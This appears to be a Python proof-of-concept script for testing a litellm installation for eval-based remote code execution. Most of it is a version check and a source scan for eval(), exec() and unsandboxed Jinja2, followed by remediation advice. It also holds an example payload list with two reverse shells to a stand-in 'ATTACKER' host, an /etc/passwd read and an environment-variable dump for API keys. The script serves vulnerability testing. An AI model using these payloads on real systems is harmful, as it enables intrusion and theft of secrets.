461 lines
17 KiB
Python
461 lines
17 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
POC: LiteLLM Remote Code Execution via eval()
|
|
|
|
CVE: CVE-2024-XXXX (Multiple related CVEs)
|
|
Affected Versions: <= 1.28.11 and < 1.40.16
|
|
Impact: Arbitrary code execution on the server
|
|
Patched: 1.40.16 (partial), fully patched in later versions
|
|
|
|
This vulnerability exists in litellm's handling of certain inputs that are
|
|
passed to Python's eval() function without proper sanitization.
|
|
|
|
Known vulnerable code paths in older litellm versions:
|
|
1. Template string processing with user-controlled input
|
|
2. Custom callback handlers with eval-based parsing
|
|
3. Proxy server configuration parsing
|
|
|
|
IMPORTANT: This POC should only be run against vulnerable litellm versions
|
|
(< 1.40.16) in an isolated test environment.
|
|
"""
|
|
|
|
import asyncio
|
|
import sys
|
|
import os
|
|
import json
|
|
|
|
# Add parent directory to path for imports
|
|
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
|
|
|
|
|
|
class LiteLLMRCEPoc:
|
|
"""Demonstrates litellm RCE vulnerability via eval()."""
|
|
|
|
def __init__(self):
|
|
self.results = []
|
|
self.litellm_version = None
|
|
|
|
def check_litellm_version(self) -> tuple[str, bool]:
|
|
"""Check installed litellm version and if it's vulnerable."""
|
|
try:
|
|
import litellm
|
|
version = litellm.__version__
|
|
self.litellm_version = version
|
|
|
|
# Parse version for comparison
|
|
parts = version.split('.')
|
|
major = int(parts[0])
|
|
minor = int(parts[1]) if len(parts) > 1 else 0
|
|
patch = int(parts[2].split('-')[0].split('+')[0]) if len(parts) > 2 else 0
|
|
|
|
# Vulnerable if < 1.40.16
|
|
is_vulnerable = (major < 1) or (major == 1 and minor < 40) or (major == 1 and minor == 40 and patch < 16)
|
|
|
|
return version, is_vulnerable
|
|
except ImportError:
|
|
return "not installed", False
|
|
except Exception as e:
|
|
return f"error: {e}", False
|
|
|
|
def test_template_injection(self) -> dict:
|
|
"""
|
|
Test for template injection vulnerability in litellm's string formatting.
|
|
|
|
In vulnerable versions, user-controlled input in certain template contexts
|
|
could be passed to eval().
|
|
"""
|
|
result = {
|
|
"name": "template_injection",
|
|
"description": "Template string injection leading to eval()",
|
|
"vulnerable": False,
|
|
"details": None,
|
|
"error": None
|
|
}
|
|
|
|
try:
|
|
import litellm
|
|
from litellm import completion
|
|
|
|
# Payload that would execute if eval'd
|
|
# This is a benign test - it tries to access __class__ which indicates eval
|
|
payload = "__import__('os').popen('echo RCE_SUCCESSFUL').read()"
|
|
|
|
# In vulnerable versions, certain template variables could be eval'd
|
|
# We test by checking if the library has vulnerable code patterns
|
|
|
|
# Check for vulnerable completion_with_fallbacks or similar
|
|
if hasattr(litellm, 'completion_with_fallbacks'):
|
|
# Older vulnerable pattern
|
|
result["details"] = "Found completion_with_fallbacks (potentially vulnerable pattern)"
|
|
|
|
# Check utils for eval usage
|
|
if hasattr(litellm, 'utils'):
|
|
import inspect
|
|
utils_source = inspect.getsourcefile(litellm.utils)
|
|
if utils_source:
|
|
with open(utils_source, 'r') as f:
|
|
source = f.read()
|
|
if 'eval(' in source:
|
|
result["vulnerable"] = True
|
|
result["details"] = f"Found eval() in litellm/utils.py"
|
|
|
|
except Exception as e:
|
|
result["error"] = str(e)
|
|
|
|
self.results.append(result)
|
|
return result
|
|
|
|
def test_callback_rce(self) -> dict:
|
|
"""
|
|
Test for RCE in custom callback handling.
|
|
|
|
In vulnerable versions, custom callbacks with certain configurations
|
|
could lead to code execution.
|
|
"""
|
|
result = {
|
|
"name": "callback_rce",
|
|
"description": "Custom callback handler code execution",
|
|
"vulnerable": False,
|
|
"details": None,
|
|
"error": None
|
|
}
|
|
|
|
try:
|
|
import litellm
|
|
|
|
# Check for vulnerable callback patterns
|
|
if hasattr(litellm, 'callbacks'):
|
|
# Look for dynamic import/eval in callback handling
|
|
import inspect
|
|
try:
|
|
callback_source = inspect.getsource(litellm.callbacks) if hasattr(litellm, 'callbacks') else ""
|
|
if 'eval(' in callback_source or 'exec(' in callback_source:
|
|
result["vulnerable"] = True
|
|
result["details"] = "Found eval/exec in callback handling code"
|
|
except:
|
|
pass
|
|
|
|
# Check _custom_logger_compatible_callbacks_literal
|
|
if hasattr(litellm, '_custom_logger_compatible_callbacks_literal'):
|
|
result["details"] = "Found custom logger callback handler (check version)"
|
|
|
|
except Exception as e:
|
|
result["error"] = str(e)
|
|
|
|
self.results.append(result)
|
|
return result
|
|
|
|
def test_proxy_config_injection(self) -> dict:
|
|
"""
|
|
Test for code injection in proxy configuration parsing.
|
|
|
|
The litellm proxy server had vulnerabilities where config values
|
|
could be passed to eval().
|
|
"""
|
|
result = {
|
|
"name": "proxy_config_injection",
|
|
"description": "Proxy server configuration injection",
|
|
"vulnerable": False,
|
|
"details": None,
|
|
"error": None
|
|
}
|
|
|
|
try:
|
|
import litellm
|
|
|
|
# Check if proxy module exists and has vulnerable patterns
|
|
try:
|
|
from litellm import proxy
|
|
import inspect
|
|
|
|
# Get proxy module source files
|
|
proxy_path = os.path.dirname(inspect.getfile(proxy))
|
|
|
|
vulnerable_files = []
|
|
for root, dirs, files in os.walk(proxy_path):
|
|
for f in files:
|
|
if f.endswith('.py'):
|
|
filepath = os.path.join(root, f)
|
|
try:
|
|
with open(filepath, 'r') as fp:
|
|
content = fp.read()
|
|
if 'eval(' in content:
|
|
vulnerable_files.append(f)
|
|
except:
|
|
pass
|
|
|
|
if vulnerable_files:
|
|
result["vulnerable"] = True
|
|
result["details"] = f"Found eval() in proxy files: {', '.join(vulnerable_files)}"
|
|
else:
|
|
result["details"] = "No eval() found in proxy module (may be patched)"
|
|
|
|
except ImportError:
|
|
result["details"] = "Proxy module not available"
|
|
|
|
except Exception as e:
|
|
result["error"] = str(e)
|
|
|
|
self.results.append(result)
|
|
return result
|
|
|
|
def test_model_response_parsing(self) -> dict:
|
|
"""
|
|
Test for unsafe parsing of model responses.
|
|
|
|
Some versions had vulnerabilities in how model responses were parsed,
|
|
potentially allowing code execution through crafted responses.
|
|
"""
|
|
result = {
|
|
"name": "response_parsing_rce",
|
|
"description": "Unsafe model response parsing",
|
|
"vulnerable": False,
|
|
"details": None,
|
|
"error": None
|
|
}
|
|
|
|
try:
|
|
import litellm
|
|
from litellm.utils import ModelResponse
|
|
|
|
# Check if ModelResponse uses any unsafe parsing
|
|
import inspect
|
|
source = inspect.getsource(ModelResponse)
|
|
|
|
if 'eval(' in source or 'exec(' in source:
|
|
result["vulnerable"] = True
|
|
result["details"] = "Found eval/exec in ModelResponse class"
|
|
elif 'json.loads' in source:
|
|
result["details"] = "Uses json.loads (safer than eval)"
|
|
|
|
except Exception as e:
|
|
result["error"] = str(e)
|
|
|
|
self.results.append(result)
|
|
return result
|
|
|
|
def test_ssti_vulnerability(self) -> dict:
|
|
"""
|
|
Test for Server-Side Template Injection (SSTI).
|
|
|
|
CVE in litellm < 1.34.42 allowed SSTI through template processing.
|
|
"""
|
|
result = {
|
|
"name": "ssti_vulnerability",
|
|
"description": "Server-Side Template Injection (SSTI) - CVE in < 1.34.42",
|
|
"vulnerable": False,
|
|
"details": None,
|
|
"error": None
|
|
}
|
|
|
|
try:
|
|
import litellm
|
|
|
|
# Check for jinja2 or other template usage without sandboxing
|
|
try:
|
|
import jinja2
|
|
|
|
# Check if litellm uses jinja2 templates unsafely
|
|
litellm_path = os.path.dirname(litellm.__file__)
|
|
|
|
for root, dirs, files in os.walk(litellm_path):
|
|
for f in files:
|
|
if f.endswith('.py'):
|
|
filepath = os.path.join(root, f)
|
|
try:
|
|
with open(filepath, 'r') as fp:
|
|
content = fp.read()
|
|
if 'jinja2' in content.lower() and 'Template(' in content:
|
|
if 'SandboxedEnvironment' not in content:
|
|
result["vulnerable"] = True
|
|
result["details"] = f"Unsandboxed Jinja2 template in {f}"
|
|
break
|
|
except:
|
|
pass
|
|
if result["vulnerable"]:
|
|
break
|
|
|
|
if not result["vulnerable"]:
|
|
result["details"] = "No unsafe template usage detected"
|
|
|
|
except ImportError:
|
|
result["details"] = "jinja2 not installed"
|
|
|
|
except Exception as e:
|
|
result["error"] = str(e)
|
|
|
|
self.results.append(result)
|
|
return result
|
|
|
|
def demonstrate_payload(self) -> dict:
|
|
"""
|
|
Demonstrate what a successful RCE payload would look like.
|
|
|
|
NOTE: This does NOT execute malicious code - it only shows the pattern.
|
|
"""
|
|
result = {
|
|
"name": "payload_demonstration",
|
|
"description": "Example RCE payload patterns (demonstration only)",
|
|
"payloads": []
|
|
}
|
|
|
|
# Example payloads that would work against vulnerable versions
|
|
payloads = [
|
|
{
|
|
"name": "OS Command Execution",
|
|
"payload": "__import__('os').system('id')",
|
|
"description": "Execute system command via os.system"
|
|
},
|
|
{
|
|
"name": "Reverse Shell",
|
|
"payload": "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"')",
|
|
"description": "Spawn reverse shell to attacker"
|
|
},
|
|
{
|
|
"name": "File Read",
|
|
"payload": "__import__('builtins').open('/etc/passwd').read()",
|
|
"description": "Read arbitrary files"
|
|
},
|
|
{
|
|
"name": "Environment Exfiltration",
|
|
"payload": "str(__import__('os').environ)",
|
|
"description": "Extract environment variables (API keys, secrets)"
|
|
},
|
|
{
|
|
"name": "Python Code Execution",
|
|
"payload": "exec('import socket,subprocess;s=socket.socket();s.connect((\"attacker\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())')",
|
|
"description": "Execute arbitrary Python code"
|
|
}
|
|
]
|
|
|
|
result["payloads"] = payloads
|
|
self.results.append(result)
|
|
return result
|
|
|
|
async def run_all_tests(self):
|
|
"""Run all RCE vulnerability tests."""
|
|
print("=" * 60)
|
|
print("LITELLM RCE VULNERABILITY POC")
|
|
print("CVE: Multiple (eval-based RCE)")
|
|
print("Affected: litellm < 1.40.16")
|
|
print("=" * 60)
|
|
print()
|
|
|
|
# Check version first
|
|
version, is_vulnerable = self.check_litellm_version()
|
|
print(f"[INFO] Installed litellm version: {version}")
|
|
print(f"[INFO] Version vulnerability status: {'⚠️ POTENTIALLY VULNERABLE' if is_vulnerable else '✅ PATCHED'}")
|
|
print()
|
|
|
|
if not is_vulnerable:
|
|
print("=" * 60)
|
|
print("NOTE: Current version appears patched.")
|
|
print("To test vulnerable versions, use:")
|
|
print(" docker compose --profile vulnerable up nanobot-vulnerable")
|
|
print("=" * 60)
|
|
print()
|
|
|
|
# Run tests
|
|
print("--- VULNERABILITY TESTS ---")
|
|
print()
|
|
|
|
print("[TEST 1] Template Injection")
|
|
r = self.test_template_injection()
|
|
self._print_result(r)
|
|
|
|
print("[TEST 2] Callback Handler RCE")
|
|
r = self.test_callback_rce()
|
|
self._print_result(r)
|
|
|
|
print("[TEST 3] Proxy Configuration Injection")
|
|
r = self.test_proxy_config_injection()
|
|
self._print_result(r)
|
|
|
|
print("[TEST 4] Model Response Parsing")
|
|
r = self.test_model_response_parsing()
|
|
self._print_result(r)
|
|
|
|
print("[TEST 5] Server-Side Template Injection (SSTI)")
|
|
r = self.test_ssti_vulnerability()
|
|
self._print_result(r)
|
|
|
|
print("[DEMO] Example RCE Payloads")
|
|
r = self.demonstrate_payload()
|
|
print(" Example payloads that would work against vulnerable versions:")
|
|
for p in r["payloads"]:
|
|
print(f" - {p['name']}: {p['description']}")
|
|
print()
|
|
|
|
self._print_summary(version, is_vulnerable)
|
|
return self.results
|
|
|
|
def _print_result(self, result: dict):
|
|
"""Print a single test result."""
|
|
if result.get("vulnerable"):
|
|
status = "⚠️ VULNERABLE"
|
|
elif result.get("error"):
|
|
status = "❌ ERROR"
|
|
else:
|
|
status = "✅ NOT VULNERABLE / PATCHED"
|
|
|
|
print(f" Status: {status}")
|
|
print(f" Description: {result.get('description', 'N/A')}")
|
|
if result.get("details"):
|
|
print(f" Details: {result['details']}")
|
|
if result.get("error"):
|
|
print(f" Error: {result['error']}")
|
|
print()
|
|
|
|
def _print_summary(self, version: str, is_vulnerable: bool):
|
|
"""Print test summary."""
|
|
print("=" * 60)
|
|
print("SUMMARY")
|
|
print("=" * 60)
|
|
|
|
vulnerable_count = sum(1 for r in self.results if r.get("vulnerable"))
|
|
|
|
print(f"litellm version: {version}")
|
|
print(f"Version is vulnerable (< 1.40.16): {is_vulnerable}")
|
|
print(f"Vulnerable patterns found: {vulnerable_count}")
|
|
print()
|
|
|
|
if is_vulnerable or vulnerable_count > 0:
|
|
print("⚠️ VULNERABILITY CONFIRMED")
|
|
print()
|
|
print("Impact:")
|
|
print(" - Remote Code Execution on the server")
|
|
print(" - Access to environment variables (API keys)")
|
|
print(" - File system access")
|
|
print(" - Potential for reverse shell")
|
|
print()
|
|
print("Remediation:")
|
|
print(" - Upgrade litellm to >= 1.40.16 (preferably latest)")
|
|
print(" - Pin to specific patched version in requirements")
|
|
else:
|
|
print("✅ No vulnerable patterns detected in current version")
|
|
print()
|
|
print("The installed version appears to be patched.")
|
|
print("Continue monitoring for new CVEs in litellm.")
|
|
|
|
return {
|
|
"version": version,
|
|
"is_version_vulnerable": is_vulnerable,
|
|
"vulnerable_patterns_found": vulnerable_count,
|
|
"overall_vulnerable": is_vulnerable or vulnerable_count > 0
|
|
}
|
|
|
|
|
|
async def main():
|
|
poc = LiteLLMRCEPoc()
|
|
results = await poc.run_all_tests()
|
|
|
|
# Write results to file
|
|
results_path = "/results/litellm_rce_results.json" if os.path.isdir("/results") else "litellm_rce_results.json"
|
|
with open(results_path, "w") as f:
|
|
json.dump(results, f, indent=2, default=str)
|
|
print(f"\nResults written to: {results_path}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
asyncio.run(main())
|